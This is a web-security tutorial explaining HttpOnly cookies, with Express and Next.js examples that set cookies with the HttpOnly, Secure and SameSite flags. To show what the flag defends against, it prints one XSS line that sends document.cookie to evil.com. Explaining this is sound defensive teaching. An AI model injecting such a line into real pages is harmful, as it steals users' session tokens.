Understanding HttpOnly Cookies in Depth
๐ช Understanding HttpOnly Cookies
HttpOnly
cookies are a type of browser cookie that cannot be accessed via JavaScript.
They are designed to protect sensitive data โ especially authentication tokens โ from attacks like Cross-Site Scripting (XSS).
๐ What Does HttpOnly
Mean?
When you set the HttpOnly
flag on a cookie, the browser stores it but never exposes it to document.cookie
or JavaScript APIs.
That means:
console.log(document.cookie);
// โ You will NOT see HttpOnly cookies here.
The cookie still goes to the server automatically with every HTTP request to the same origin.
โ๏ธ How Browsers Enforce It
Browsers handle HttpOnly cookies internally:
- The server sets a cookie with
Set-Cookie
header. - The browser stores it securely.
- On every request to the same domain/path, the browser attaches the cookie in the
Cookie
header. - JavaScript cannot read or modify it.
โ This prevents attackers from stealing session tokens via injected scripts.
๐ง Why It's Important
Without HttpOnly
, an attacker who injects JavaScript (via XSS) could do:
fetch('https://evil.com?cookie=' + document.cookie);
This would expose your session token.
With HttpOnly
, that attack fails.
๐ก Secure + HttpOnly = Best Practice
You should always combine:
HttpOnly
โ hides cookie from JavaScriptSecure
โ only send over HTTPSSameSite
โ restricts cross-site sending (helps prevent CSRF)
Example header:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
๐งฑ Example: Express Backend
import express from "express";
import cookieParser from "cookie-parser";
const app = express();
app.use(cookieParser());
app.post("/login", (req, res) => {
const token = "user_jwt_token_here";
res.cookie("token", token, {
httpOnly: true,
secure: true,
sameSite: "strict",
});
res.send("Logged in!");
});
app.get("/profile", (req, res) => {
// You can access it on server:
const token = req.cookies.token;
res.json({ message: "Token exists?", token: !!token });
});
app.listen(3001, () => console.log("โ
Express running on port 3001"));
โ๏ธ Example: Next.js API Route
// pages/api/login.ts
import type { NextApiRequest, NextApiResponse } from "next";
import { serialize } from "cookie";
export default function handler(req: NextApiRequest, res: NextApiResponse) {
const token = "jwt_token_here";
res.setHeader(
"Set-Cookie",
serialize("token", token, {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "strict",
maxAge: 60 * 60 * 24 * 7, // 7 days
path: "/",
})
);
res.status(200).json({ success: true });
}
Now your cookie is automatically sent with every request โ but never visible to document.cookie
.
๐ง Behind the Scenes
When you refresh the page:
- Browser checks stored cookies for matching domain/path.
- Attaches them automatically in the
Cookie
header. - Server reads them and can validate session or JWT.
No need for localStorage or client-side access.
This reduces attack surface dramatically โ because even if the client is compromised, tokens arenโt exposed to script access.
โ๏ธ Common Mistakes
โ Setting cookies in client-side JS โ breaks security
โ
Always set cookies via Set-Cookie
header from server.
โ Storing JWTs in localStorage
โ
Store them in HttpOnly
cookies instead.
๐ Summary
Feature | Description | Prevents |
---|---|---|
HttpOnly | Hides cookie from JavaScript | XSS |
Secure | Sends only over HTTPS | MITM |
SameSite | Restricts cross-site | CSRF |
Server-set cookie | Controlled by backend | Tampering |
๐ Key Takeaway
Store your auth tokens in HttpOnly cookies, not in localStorage.
They protect against XSS by design โ one of the simplest and strongest web security patterns.